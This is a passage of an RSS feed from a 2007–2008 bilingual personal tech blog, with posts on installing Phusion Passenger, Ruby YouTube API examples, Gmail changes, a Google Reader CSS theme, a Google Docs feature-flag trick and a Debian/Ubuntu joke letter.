		<description><![CDATA[Extrated from <a href="http://www.modrails.com">mod_rails</a> Homepage:
"Phusion Passenger ? a.k.a. mod_rails ? makes deployment of applications built on the revolutionary Ruby on Rails web framework a breeze. It follows the usual Ruby on Rails conventions, such as ?Don?t-Repeat-Yourself?."

The most important thing, installation:

   1.   Open a terminal, and type:
<code>
      gem install passenger
</code>
   2. Type:
<code>
      passenger-install-apache2-module
</code>
      And follow the instructions.

Well, enjoy and let the party begin with Apache and Rails. Hopefully, my provider Dreamhost will be deploying this soon to production. ]]></description>
			<content:encoded><![CDATA[<p>Extrated from <a href="http://www.modrails.com">mod_rails</a> Homepage:<br />
&#8220;Phusion Passenger ? a.k.a. mod_rails ? makes deployment of applications built on the revolutionary Ruby on Rails web framework a breeze. It follows the usual Ruby on Rails conventions, such as ?Don?t-Repeat-Yourself?.&#8221;</p>
<p>The most important thing, installation:</p>
<p>   1.   Open a terminal, and type:<br />
<code>      gem install passenger</code><br />
   2. Type:<br />
<code>      passenger-install-apache2-module</code><br />
      And follow the instructions.</p>
<p>Well, enjoy and let the party begin with Apache and Rails. Hopefully, my provider Dreamhost will be deploying this soon to production. </p>
]]></content:encoded>
			<wfw:commentRss>http://www.freedomcoder.com.ar/2008/04/13/finally-mod_rails-/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>ENSO</title>
		<link>http://www.freedomcoder.com.ar/2008/04/02/enso/</link>
		<comments>http://www.freedomcoder.com.ar/2008/04/02/enso/#comments</comments>
		<pubDate>Wed, 02 Apr 2008 15:18:38 +0000</pubDate>
		<dc:creator>FreedomCoder</dc:creator>
				<category><![CDATA[English]]></category>
		<category><![CDATA[General]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[programming]]></category>
		<category><![CDATA[www]]></category>

		<guid isPermaLink="false">http://www.freedomcoder.com.ar/2008/04/02/enso</guid>
		<description><![CDATA[while surfing the web I came across a product called ENSO from <a href="http://humanized.com/enso/">humanized.com</a> , even though the video is kind of corny the actual product seams really interesting and promising. As a macosx + quicksilver user, at first I though it was just a launcher for windows, but after watching the video as a whole I realize that enso has a much more wide, productive and interesting group of apps.  The fact that you can pretty much do every task you want and really fast, makes it a necessary tool to be efficient and productive.  Well, anyone interested in the apps, I would recommend you to watch the video and give it try. I will continue doing so in my windows machine for a couple of days and see if it is as good as it is now.  The only bad thing so far, not linux nor macosx version :(, which are my main operating systems.  

Enjoy.

Download enso apps 
- <a href="http://humanized.com/installers/EnsoLauncher.exe">Enso Launcher</a>
- <a href="http://humanized.com/installers/EnsoWords.exe">Enso Words</a>
]]></description>
			<content:encoded><![CDATA[<p>while surfing the web I came across a product called ENSO from <a href="http://humanized.com/enso/">humanized.com</a> , even though the video is kind of corny the actual product seams really interesting and promising. As a macosx + quicksilver user, at first I though it was just a launcher for windows, but after watching the video as a whole I realize that enso has a much more wide, productive and interesting group of apps.  The fact that you can pretty much do every task you want and really fast, makes it a necessary tool to be efficient and productive.  Well, anyone interested in the apps, I would recommend you to watch the video and give it try. I will continue doing so in my windows machine for a couple of days and see if it is as good as it is now.  The only bad thing so far, not linux nor macosx version <img src='http://www.freedomcoder.com.ar/wp-includes/images/smilies/icon_sad.gif' alt=':(' class='wp-smiley' /> , which are my main operating systems.  </p>
<p>Enjoy.</p>
<p>Download enso apps<br />
- <a href="http://humanized.com/installers/EnsoLauncher.exe">Enso Launcher</a><br />
- <a href="http://humanized.com/installers/EnsoWords.exe">Enso Words</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.freedomcoder.com.ar/2008/04/02/enso/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Buen viaje Sir Arthur</title>
		<link>http://www.freedomcoder.com.ar/2008/03/18/buen-viaje-sir-arthur/</link>
		<comments>http://www.freedomcoder.com.ar/2008/03/18/buen-viaje-sir-arthur/#comments</comments>
		<pubDate>Wed, 19 Mar 2008 01:49:18 +0000</pubDate>
		<dc:creator>FreedomCoder</dc:creator>
				<category><![CDATA[How-To]]></category>
		<category><![CDATA[Sci & Tech]]></category>
		<category><![CDATA[Spanish]]></category>
		<category><![CDATA[Video]]></category>
		<category><![CDATA[www]]></category>

		<guid isPermaLink="false">http://www.freedomcoder.com.ar/2008/03/18/buen-viaje-sir-arthur</guid>
		<description><![CDATA[Tristemente el mundo pierde otro de sus genios y grandes personajes del siglo 20. Sin  duda Sir Arthur C. Clarke fue uno de los mejores escritores de ciencia ficcion.  Se podria llegar a decir que sus obras fueron musa inspiradora de muchos de los genios que han construido nuestro mundo. Por esto y muchs otras razones, gracias por todo lo que le diste al mundo, gracias por tus libros y por las atrapantes historias que me hicieron viajar.
Mucha suerte en esta nueva jornada ...

<div align="center"><object width="425" height="355"><param name="movie" value="http://www.youtube.com/v/3qLdeEjdbWE&#038;hl=en"></param><param name="wmode" value="transparent"></param><embed src="http://www.youtube.com/v/3qLdeEjdbWE&#038;hl=en" type="application/x-shockwave-flash" wmode="transparent" width="425" height="355"></embed></object></div>

Saludos.]]></description>
			<content:encoded><![CDATA[<p>Tristemente el mundo pierde otro de sus genios y grandes personajes del siglo 20. Sin  duda Sir Arthur C. Clarke fue uno de los mejores escritores de ciencia ficcion.  Se podria llegar a decir que sus obras fueron musa inspiradora de muchos de los genios que han construido nuestro mundo. Por esto y muchs otras razones, gracias por todo lo que le diste al mundo, gracias por tus libros y por las atrapantes historias que me hicieron viajar.<br />
Mucha suerte en esta nueva jornada &#8230;</p>
<div align="center"><object width="425" height="355"><param name="movie" value="http://www.youtube.com/v/3qLdeEjdbWE&#038;hl=en"></param><param name="wmode" value="transparent"></param><embed src="http://www.youtube.com/v/3qLdeEjdbWE&#038;hl=en" type="application/x-shockwave-flash" wmode="transparent" width="425" height="355"></embed></object></div>
<p>Saludos.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.freedomcoder.com.ar/2008/03/18/buen-viaje-sir-arthur/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Active YouTube</title>
		<link>http://www.freedomcoder.com.ar/2008/02/21/active-youtube/</link>
		<comments>http://www.freedomcoder.com.ar/2008/02/21/active-youtube/#comments</comments>
		<pubDate>Fri, 22 Feb 2008 00:52:57 +0000</pubDate>
		<dc:creator>FreedomCoder</dc:creator>
				<category><![CDATA[macosx]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[programming]]></category>
		<category><![CDATA[Spanish]]></category>
		<category><![CDATA[www]]></category>

		<guid isPermaLink="false">http://www.freedomcoder.com.ar/2008/02/21/active-youtube</guid>
		<description><![CDATA[La verdad que encontre esto y me parecio re intersante un active youtube 

Para instalarlo :
<strong> gem install active_youtube </strong>

Aca el ejemplito para pegarle un vistaso :

<code>
#### Video
  ## search for videos on 'ruby'
  search = Youtube::Video.find(:first, :params => {:vq => 'ruby', :"max-results" => '5'})
  puts search.entry.length

  ## video information of id = ZTUVgYoeN_o
  vid = Youtube::Video.find("ZTUVgYoeN_o")
  puts vid.group.content[0].url

  ## video comments
  comments = Youtube::Video.find_custom("ZTUVgYoeN_o").get(:comments)
  puts comments.entry[0].link[2].href

  ## searching with category/tags
  results = Youtube::Video.search_by_tags("Comedy")
  puts results[0].entry[0].title

#### STANDARDFEED
  ## retrieving standard feeds
  most_viewed = Youtube::Standardfeed.find(:most_viewed, :params => {:time => 'today'})
  puts most_viewed.entry[0].group.content[0].url

#### USER
  ## user's profile - guthrie
  user_profile = Youtube::User.find("guthrie")
  puts user_profile.link[1].href

#### PLAYLIST
  ## get playlist - multiple elements in playlist
  playlist = Youtube::Playlist.find("EBF5D6DC4589D7B7")
  puts playlist.entry[0].group.content[0].url
</code>]]></description>
			<content:encoded><![CDATA[<p>La verdad que encontre esto y me parecio re intersante un active youtube </p>
<p>Para instalarlo :<br />
<strong> gem install active_youtube </strong></p>
<p>Aca el ejemplito para pegarle un vistaso :</p>
<p><code>#### Video<br />
  ## search for videos on 'ruby'<br />
  search = Youtube::Video.find(:first, :params =&gt; {:vq =&gt; 'ruby', :"max-results" =&gt; '5'})<br />
  puts search.entry.length</p>
<p>  ## video information of id = ZTUVgYoeN_o<br />
  vid = Youtube::Video.find("ZTUVgYoeN_o")<br />
  puts vid.group.content[0].url</p>
<p>  ## video comments<br />
  comments = Youtube::Video.find_custom("ZTUVgYoeN_o").get(:comments)<br />
  puts comments.entry[0].link[2].href</p>
<p>  ## searching with category/tags<br />
  results = Youtube::Video.search_by_tags("Comedy")<br />
  puts results[0].entry[0].title</p>
<p>#### STANDARDFEED<br />
  ## retrieving standard feeds<br />
  most_viewed = Youtube::Standardfeed.find(:most_viewed, :params =&gt; {:time =&gt; 'today'})<br />
  puts most_viewed.entry[0].group.content[0].url</p>
<p>#### USER<br />
  ## user's profile - guthrie<br />
  user_profile = Youtube::User.find("guthrie")<br />
  puts user_profile.link[1].href</p>
<p>#### PLAYLIST<br />
  ## get playlist - multiple elements in playlist<br />
  playlist = Youtube::Playlist.find("EBF5D6DC4589D7B7")<br />
  puts playlist.entry[0].group.content[0].url</code></p>
]]></content:encoded>
			<wfw:commentRss>http://www.freedomcoder.com.ar/2008/02/21/active-youtube/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Gmail, hotmail y yahoomail new ui&#8217;s</title>
		<link>http://www.freedomcoder.com.ar/2007/12/06/gmail-hotmail-y-yahoomail-new-uis/</link>
		<comments>http://www.freedomcoder.com.ar/2007/12/06/gmail-hotmail-y-yahoomail-new-uis/#comments</comments>
		<pubDate>Thu, 06 Dec 2007 13:56:09 +0000</pubDate>
		<dc:creator>FreedomCoder</dc:creator>
				<category><![CDATA[General]]></category>
		<category><![CDATA[Spanish]]></category>
		<category><![CDATA[www]]></category>

		<guid isPermaLink="false">http://www.freedomcoder.com.ar/2007/12/06/gmail-hotmail-y-yahoomail-new-uis</guid>
		<description><![CDATA[Gmail, hotmail y yahoo mail compiten por nuevas interfaces y todos han migrado a interfaces mas "web 2.0". Siendo que soy usuario de varios navegadores me he percatado que por ejemplo gmail no funciona bien con opera en su nueva interfaz es mas ni levanta te lleva directametne a la vieja. Siendo que en Firefox 3.0 beta si funciona.  Hotmail, obviamente unicamente funciona bien en IE, pero en firefox 2.0.x funcion bien pero no asi en 3.0 beta ya que hay que si o si moverse a la vista clasica no 2.0 :(. 
YahooMail en el otro caso si funciona en todas los exploradores, no soy usuario de yahoomail en exceso solo tengo un par de cuentas que chequeo esporadicamente pero probando la nueva interfaz para compararla con las otras me di cuenta de que si andaba en varios browsers. 
Bueno se que es medio mediocre el post pero queria compartir esto con todos ya que es interesante por ahi cuando nos preguntamos porque m* no se ve lindo o porque no me anda hotmail. 
UPDATE: Google ahora tambien soporta AIM en su gtalk, asi que tambien se puede chatear en gmail con AIM users. 
]]></description>
			<content:encoded><![CDATA[<p>Gmail, hotmail y yahoo mail compiten por nuevas interfaces y todos han migrado a interfaces mas &#8220;web 2.0&#8243;. Siendo que soy usuario de varios navegadores me he percatado que por ejemplo gmail no funciona bien con opera en su nueva interfaz es mas ni levanta te lleva directametne a la vieja. Siendo que en Firefox 3.0 beta si funciona.  Hotmail, obviamente unicamente funciona bien en IE, pero en firefox 2.0.x funcion bien pero no asi en 3.0 beta ya que hay que si o si moverse a la vista clasica no 2.0 <img src='http://www.freedomcoder.com.ar/wp-includes/images/smilies/icon_sad.gif' alt=':(' class='wp-smiley' /> .<br />
YahooMail en el otro caso si funciona en todas los exploradores, no soy usuario de yahoomail en exceso solo tengo un par de cuentas que chequeo esporadicamente pero probando la nueva interfaz para compararla con las otras me di cuenta de que si andaba en varios browsers.<br />
Bueno se que es medio mediocre el post pero queria compartir esto con todos ya que es interesante por ahi cuando nos preguntamos porque m* no se ve lindo o porque no me anda hotmail.<br />
UPDATE: Google ahora tambien soporta AIM en su gtalk, asi que tambien se puede chatear en gmail con AIM users. </p>
]]></content:encoded>
			<wfw:commentRss>http://www.freedomcoder.com.ar/2007/12/06/gmail-hotmail-y-yahoomail-new-uis/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Gmail / IMAP</title>
		<link>http://www.freedomcoder.com.ar/2007/10/24/gmail-imap/</link>
		<comments>http://www.freedomcoder.com.ar/2007/10/24/gmail-imap/#comments</comments>
		<pubDate>Wed, 24 Oct 2007 21:05:21 +0000</pubDate>
		<dc:creator>FreedomCoder</dc:creator>
				<category><![CDATA[English]]></category>
		<category><![CDATA[General]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[www]]></category>

		<guid isPermaLink="false">http://www.freedomcoder.com.ar/2007/10/24/gmail-imap</guid>
		<description><![CDATA[Three years of waiting, Gmail might finally bring in IMAP, ?an application layer Internet protocol [?] that allows a local client to access e-mail on a remote server.? Download Squad reports that several of its readers are seeing an option to enable IMAP Access to other client.

Google has been having POP3 since the day it launch, but IMAP has many advantages over POP3 (according to Wikipedia), including faster response time and can synchronize the state of the messages with the server so you don?t have to ?sift through emails that had already been answered,? as Download Squad?s Chris Gilmer put it.

Here?s my question though: How come Google is now building a lot of things that are specifically Made for iPhone? Anyways, the option can be found under Setting->Forward and POP/IMAP, go there and see if you have it. :)
<center><img src="http://googlified.com/files/gmail-gets-imap.gif"></center><br />
Extracted from <a href="http://googlified.com/">Googlified</a>]]></description>
			<content:encoded><![CDATA[<p>Three years of waiting, Gmail might finally bring in IMAP, ?an application layer Internet protocol [?] that allows a local client to access e-mail on a remote server.? Download Squad reports that several of its readers are seeing an option to enable IMAP Access to other client.</p>
<p>Google has been having POP3 since the day it launch, but IMAP has many advantages over POP3 (according to Wikipedia), including faster response time and can synchronize the state of the messages with the server so you don?t have to ?sift through emails that had already been answered,? as Download Squad?s Chris Gilmer put it.</p>
<p>Here?s my question though: How come Google is now building a lot of things that are specifically Made for iPhone? Anyways, the option can be found under Setting->Forward and POP/IMAP, go there and see if you have it. <img src='http://www.freedomcoder.com.ar/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /><br />
<center><img src="http://googlified.com/files/gmail-gets-imap.gif"></center><br />
Extracted from <a href="http://googlified.com/">Googlified</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.freedomcoder.com.ar/2007/10/24/gmail-imap/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Enchulando Google Calendar</title>
		<link>http://www.freedomcoder.com.ar/2007/10/20/enchulando-google-calendar-/</link>
		<comments>http://www.freedomcoder.com.ar/2007/10/20/enchulando-google-calendar-/#comments</comments>
		<pubDate>Sat, 20 Oct 2007 06:05:14 +0000</pubDate>
		<dc:creator>FreedomCoder</dc:creator>
				<category><![CDATA[General]]></category>
		<category><![CDATA[How-To]]></category>
		<category><![CDATA[programming]]></category>
		<category><![CDATA[Spanish]]></category>
		<category><![CDATA[www]]></category>

		<guid isPermaLink="false">http://www.freedomcoder.com.ar/2007/10/20/enchulando-google-calendar-</guid>
		<description><![CDATA[Bueno, como se habran dado cuenta por la Google GData Calendar API que estoy haciendo , la cual aprovecho para contarles que se ha demorado por laburo y porque he encontrado pila de cosas para arreglar, no solo en mi codigo pero por desgracia la mayoria en el codigo original de gdata-0.0.4. Volviendo al tema, uso mucho Google Calendar, entonces surfeando la web por una feeder que me permitiera usar la info de google reader me encontre con algo nada que ver per muy interesante al fin.  Basicamente, como podemos observar es un nuevo css file para google calendar que lo deja muy lindo y con bastante onda.  El cuando siendo un  css , tambien extra enchular y sobre customizar a gusto.
<center><img src="http://www.freedomcoder.com.ar/images/257.jpg"></center>

Y si tambien tiene un poco de transparencias y cosas lindas para agregar los feeds muy mac
<center><img src="http://www.freedomcoder.com.ar/images/258.jpg">
</center>

Bueno, siendo que la mayoria de mis lectores usan firefox o opera ( si lo se , los espio muchachos ) aca les dejo el how-to para cada uno de ellos.
<strong>Instalacion:</strong>
Bajar <a href="http://www.hicksdesign.co.uk/file_download/33">gReader.zip</a>. Dentro del .zip encontraran 2 versiones una para navegadores Mozilla y otra para webkit y opera.

<strong>Firefox</strong>
Firefox, require que instalemos una extension para manejar estilos, llamada <a href="https://addons.mozilla.org/en-US/firefox/addon/2108">Stylish</a>. Una ves instalada, solo basta con copia y pegar el css en la ventana que nos aparece al clickear sobre 'create styles for this page'.

<strong>Opera</strong>
Con simplemente un click derecho sobre la pagina de Google Reader, elegimos "Edit Site Preferences" o "Editar preferencias del Sitio" , seleccionamos el archivo CSS a traves del tab en "My Style Sheet" clickeamos en apply o aplicar y los cambios deberian aparecer inmediatamente. 

Bueno espero que les guste el nuevo look and feel la verdad que me parece bastante interesane lo unico que yo hice fue achicar un poco las letras de los contenedores.
]]></description>
			<content:encoded><![CDATA[<p>Bueno, como se habran dado cuenta por la Google GData Calendar API que estoy haciendo , la cual aprovecho para contarles que se ha demorado por laburo y porque he encontrado pila de cosas para arreglar, no solo en mi codigo pero por desgracia la mayoria en el codigo original de gdata-0.0.4. Volviendo al tema, uso mucho Google Calendar, entonces surfeando la web por una feeder que me permitiera usar la info de google reader me encontre con algo nada que ver per muy interesante al fin.  Basicamente, como podemos observar es un nuevo css file para google calendar que lo deja muy lindo y con bastante onda.  El cuando siendo un  css , tambien extra enchular y sobre customizar a gusto.<br />
<center><img src="http://www.freedomcoder.com.ar/images/257.jpg"></center></p>
<p>Y si tambien tiene un poco de transparencias y cosas lindas para agregar los feeds muy mac<br />
<center><img src="http://www.freedomcoder.com.ar/images/258.jpg"><br />
</center></p>
<p>Bueno, siendo que la mayoria de mis lectores usan firefox o opera ( si lo se , los espio muchachos ) aca les dejo el how-to para cada uno de ellos.<br />
<strong>Instalacion:</strong><br />
Bajar <a href="http://www.hicksdesign.co.uk/file_download/33">gReader.zip</a>. Dentro del .zip encontraran 2 versiones una para navegadores Mozilla y otra para webkit y opera.</p>
<p><strong>Firefox</strong><br />
Firefox, require que instalemos una extension para manejar estilos, llamada <a href="https://addons.mozilla.org/en-US/firefox/addon/2108">Stylish</a>. Una ves instalada, solo basta con copia y pegar el css en la ventana que nos aparece al clickear sobre &#8216;create styles for this page&#8217;.</p>
<p><strong>Opera</strong><br />
Con simplemente un click derecho sobre la pagina de Google Reader, elegimos &#8220;Edit Site Preferences&#8221; o &#8220;Editar preferencias del Sitio&#8221; , seleccionamos el archivo CSS a traves del tab en &#8220;My Style Sheet&#8221; clickeamos en apply o aplicar y los cambios deberian aparecer inmediatamente. </p>
<p>Bueno espero que les guste el nuevo look and feel la verdad que me parece bastante interesane lo unico que yo hice fue achicar un poco las letras de los contenedores.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.freedomcoder.com.ar/2007/10/20/enchulando-google-calendar-/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>sameplace</title>
		<link>http://www.freedomcoder.com.ar/2007/10/11/sameplace/</link>
		<comments>http://www.freedomcoder.com.ar/2007/10/11/sameplace/#comments</comments>
		<pubDate>Thu, 11 Oct 2007 19:57:54 +0000</pubDate>
		<dc:creator>FreedomCoder</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[macosx]]></category>
		<category><![CDATA[Spanish]]></category>
		<category><![CDATA[www]]></category>

		<guid isPermaLink="false">http://www.freedomcoder.com.ar/2007/10/11/sameplace</guid>
		<description><![CDATA[<a href="http://sameplace.cc">http://sameplace.cc</a> es una extension para firefox que permite  tener un cliente de jabber mientras navegamos.  Digamos que es una onda chatzilla pero para jabber y por ende gtalk tambien. Personalmente yo uso clientes como Pidgin o Adium (tambien basado en pidgin), pero es interesante para algunas plataformas donde solo tenemos firefox y no podemos instalar ninguna aplicacion pero talves si podes instalar una extension. Ademas esta el hecho de que si por ejemplo estamos constamente usando una aplicacion web es conveniente para no tener que estar swapeando entre applicaciones. etc ...
<a href="http://sameplace.cc/assets/2007/6/18/screenshot-integrated_sidebar_client.png"><img src="http://sameplace.cc/assets/2007/6/18/screenshot-integrated_sidebar_client.png" width=100%></a>]]></description>
			<content:encoded><![CDATA[<p><a href="http://sameplace.cc">http://sameplace.cc</a> es una extension para firefox que permite  tener un cliente de jabber mientras navegamos.  Digamos que es una onda chatzilla pero para jabber y por ende gtalk tambien. Personalmente yo uso clientes como Pidgin o Adium (tambien basado en pidgin), pero es interesante para algunas plataformas donde solo tenemos firefox y no podemos instalar ninguna aplicacion pero talves si podes instalar una extension. Ademas esta el hecho de que si por ejemplo estamos constamente usando una aplicacion web es conveniente para no tener que estar swapeando entre applicaciones. etc &#8230;<br />
<a href="http://sameplace.cc/assets/2007/6/18/screenshot-integrated_sidebar_client.png"><img src="http://sameplace.cc/assets/2007/6/18/screenshot-integrated_sidebar_client.png" width=100%></a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.freedomcoder.com.ar/2007/10/11/sameplace/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Breaking up with you, your daughter is prettier and easier</title>
		<link>http://www.freedomcoder.com.ar/2007/08/12/breaking-up-with-you-your-daughter-is-prettier-and-easier/</link>
		<comments>http://www.freedomcoder.com.ar/2007/08/12/breaking-up-with-you-your-daughter-is-prettier-and-easier/#comments</comments>
		<pubDate>Sun, 12 Aug 2007 20:15:14 +0000</pubDate>
		<dc:creator>FreedomCoder</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[www]]></category>

		<guid isPermaLink="false">http://www.freedomcoder.com.ar/2007/08/12/breaking-up-with-you-your-daughter-is-prettier-and-easier</guid>
		<description><![CDATA[<strong>ENGLISH:</strong>
Dear Loved One:
By now you probably already know that I am having an affair with the youngest of your daughters. It?s not like I planned this to happen, but I couldn?t help it, she is younger, sexier, prettier and easier. Yes, she is easier than you, and this is a moment in my life when I just want that. I got tired of you playing hard to get. You are just too complicated, with your inner conflicts and your multiple personality disorder trying to be everything to everyone. You just can?t please everybody you know?
Debian: I will always have a place in my heart for you, but I?m with Ubuntu now and we are very happy together. Please stop attacking her. It?s your fault, not hers.
Love.

<strong>SPANISH:</strong>
Querida:
Seguramente ya sabr?s que estoy teniendo una aventura con la m?s joven de tus hijas. No es algo que hubiera planeado, pero no pude evitarlo, ella es m?s joven, m?s sexy, m?s bonita y m?s f?cil. Si, es m?s f?cil que t?, y en este momento de mi vida eso es justo lo que quiero. Me he cansado de tener que esforzarme tanto contigo. Simplemente eres demasiado complicada, con tus conflictos internos y tus des?rdenes de m?ltiple personalidad intentando serlo todo para todo el mundo. Es imposible que agrades a todo el mundo, ?sabes?
Debian: siempre habr? un lugar en mi coraz?n para ti, pero ahora estoy con Ubuntu y somos felices juntos. Por favor, deja de atacarla. Es tu culpa, no de ella.
Con amor.

Las cosas que uno encuentra en la internec...  <a href="http://tabo.aurealsys.com/archives/2006/09/19/breaking-up-with-you-your-daughter-is-prettier-and-easier"> Post original </a>]]></description>
			<content:encoded><![CDATA[<p><strong>ENGLISH:</strong><br />
Dear Loved One:<br />
By now you probably already know that I am having an affair with the youngest of your daughters. It?s not like I planned this to happen, but I couldn?t help it, she is younger, sexier, prettier and easier. Yes, she is easier than you, and this is a moment in my life when I just want that. I got tired of you playing hard to get. You are just too complicated, with your inner conflicts and your multiple personality disorder trying to be everything to everyone. You just can?t please everybody you know?<br />
Debian: I will always have a place in my heart for you, but I?m with Ubuntu now and we are very happy together. Please stop attacking her. It?s your fault, not hers.<br />
Love.</p>
<p><strong>SPANISH:</strong><br />
Querida:<br />
Seguramente ya sabr?s que estoy teniendo una aventura con la m?s joven de tus hijas. No es algo que hubiera planeado, pero no pude evitarlo, ella es m?s joven, m?s sexy, m?s bonita y m?s f?cil. Si, es m?s f?cil que t?, y en este momento de mi vida eso es justo lo que quiero. Me he cansado de tener que esforzarme tanto contigo. Simplemente eres demasiado complicada, con tus conflictos internos y tus des?rdenes de m?ltiple personalidad intentando serlo todo para todo el mundo. Es imposible que agrades a todo el mundo, ?sabes?<br />
Debian: siempre habr? un lugar en mi coraz?n para ti, pero ahora estoy con Ubuntu y somos felices juntos. Por favor, deja de atacarla. Es tu culpa, no de ella.<br />
Con amor.</p>
<p>Las cosas que uno encuentra en la internec&#8230;  <a href="http://tabo.aurealsys.com/archives/2006/09/19/breaking-up-with-you-your-daughter-is-prettier-and-easier"> Post original </a><span id="more-72"></span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.freedomcoder.com.ar/2007/08/12/breaking-up-with-you-your-daughter-is-prettier-and-easier/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Google Docs con enciclopedia y diccionario.</title>
		<link>http://www.freedomcoder.com.ar/2007/07/01/google-docs-con-enciclopedia-y-diccionario/</link>
		<comments>http://www.freedomcoder.com.ar/2007/07/01/google-docs-con-enciclopedia-y-diccionario/#comments</comments>
		<pubDate>Mon, 02 Jul 2007 01:47:14 +0000</pubDate>
		<dc:creator>FreedomCoder</dc:creator>
				<category><![CDATA[How-To]]></category>
		<category><![CDATA[Spanish]]></category>
		<category><![CDATA[www]]></category>

		<guid isPermaLink="false">http://www.freedomcoder.com.ar/2007/07/01/google-docs-con-enciclopedia-y-diccionario</guid>
		<description><![CDATA[Los muchachos de Google , hace unos dias actualizaron las versiones de Google Docs agreg?ndole un par de cosas a la UI y alguna que otra opci?n nueva.  Una que pusieron pero todav?a no han activado (pero se encuentra disponible) es la integraci?n con el diccionario y la enciclopedia Brit?nica.  Ahora si no les molesta usarlo con alg?n que otro bug molestando ,  aca les dejo el paso a paso para que prueben el la nueva opci?n. 

 1. Abrir un documento en  <a href="http://docs.google.com">Google Docs </a>.
 2. Pegar el c?digo que esta a continuaci?n en la barra de direcci?n y apretar enter para que se "prenda" la opci?n.
<strong>javascript:void(INCLUDE_BRITANNICA_INTEGRATION=true);</strong>

3. Haciendo click derecho sobre una palabra les dara las extra opciones. 
   
4. Obviamente que para desactivar estas opciones solo basta con ejecutar el mismo comando pero con un "<strong>...=false);</strong>"

Aca les dejo un Screenshot para que vean como se ven las definiciones:

<a href="http://www.freedomcoder.com.ar/images/definicionesengoogle.png"><img src="http://www.freedomcoder.com.ar/images/definicionesengoogle.png" width=100%></a>]]></description>
			<content:encoded><![CDATA[<p>Los muchachos de Google , hace unos dias actualizaron las versiones de Google Docs agreg?ndole un par de cosas a la UI y alguna que otra opci?n nueva.  Una que pusieron pero todav?a no han activado (pero se encuentra disponible) es la integraci?n con el diccionario y la enciclopedia Brit?nica.  Ahora si no les molesta usarlo con alg?n que otro bug molestando ,  aca les dejo el paso a paso para que prueben el la nueva opci?n. </p>
<p> 1. Abrir un documento en  <a href="http://docs.google.com">Google Docs </a>.<br />
 2. Pegar el c?digo que esta a continuaci?n en la barra de direcci?n y apretar enter para que se &#8220;prenda&#8221; la opci?n.<br />
<strong>javascript:void(INCLUDE_BRITANNICA_INTEGRATION=true);</strong></p>
<p>3. Haciendo click derecho sobre una palabra les dara las extra opciones. </p>
<p>4. Obviamente que para desactivar estas opciones solo basta con ejecutar el mismo comando pero con un &#8220;<strong>&#8230;=false);</strong>&#8221;</p>
<p>Aca les dejo un Screenshot para que vean como se ven las definiciones:</p>
<p><a href="http://www.freedomcoder.com.ar/images/definicionesengoogle.png"><img src="http://www.freedomcoder.com.ar/images/definicionesengoogle.png" width=100%></a><span id="more-60"></span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.freedomcoder.com.ar/2007/07/01/google-docs-con-enciclopedia-y-diccionario/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Pidgin/finch en ubuntu Feisty Fawn</title>
		<link>http://www.freedomcoder.com.ar/2007/07/01/pidginfinch-en-ubuntu-feisty-fawn/</link>
		<comments>http://www.freedomcoder.com.ar/2007/07/01/pidginfinch-en-ubuntu-feisty-fawn/#comments</comments>
		<pubDate>Sun, 01 Jul 2007 22:40:34 +0000</pubDate>
		<dc:creator>FreedomCoder</dc:creator>
				<category><![CDATA[How-To]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Spanish]]></category>
		<category><![CDATA[www]]></category>

		<guid isPermaLink="false">http://www.freedomcoder.com.ar/2007/07/01/pidginfinch-en-ubuntu-feisty-fawn</guid>
		<description><![CDATA[Ubuntu Feisty por default viene con gaim2.0.0-beta6  , bastante , bueno pero no la ultima version por lejos.  Hoy por hoy no existe mas gaim , el projecto tuvo que cambiar de nombre por cuestiones legales y ahora se llama pidgin y la librerias tambien cambiaron de nombre para mas informacion <a href="http://www.pidgin.im"> Sitio Oficial </a>.  Todo esto se desencadeno debido a que queria psarle un archivo a Joge , por gtalk y cuando no pude ,  me dijo que estaba usando la version web y yo le dije que hacia que no estaba usando gaim o pidgin. y me dijo que no sabia que podia configurarlos en gaim. ( Cierto , a menos que uno sepa que el protocolo es el mismo que usa jabber y que se puede usar mediante el protocolo de jabber , en conclusion no es obvio con gaim ) Ahora, pidgin , directament tiene una opcion para google talk y tambien nos deja intercambiar archivos y en un futuro se habla de audio/video.  Ahora volviendo al tema ternico que nos afecta. Al principio tuvimos muchos problemas y encontramos que desintastalar gaim no es tan simple ya que supuestamente te pide que tenes que desinstalar ubuntu-desktop , ( si cualquiera ).  <a href="http://www.freedomcoder.com.ar/node/57"> continua ... </a> ]]></description>
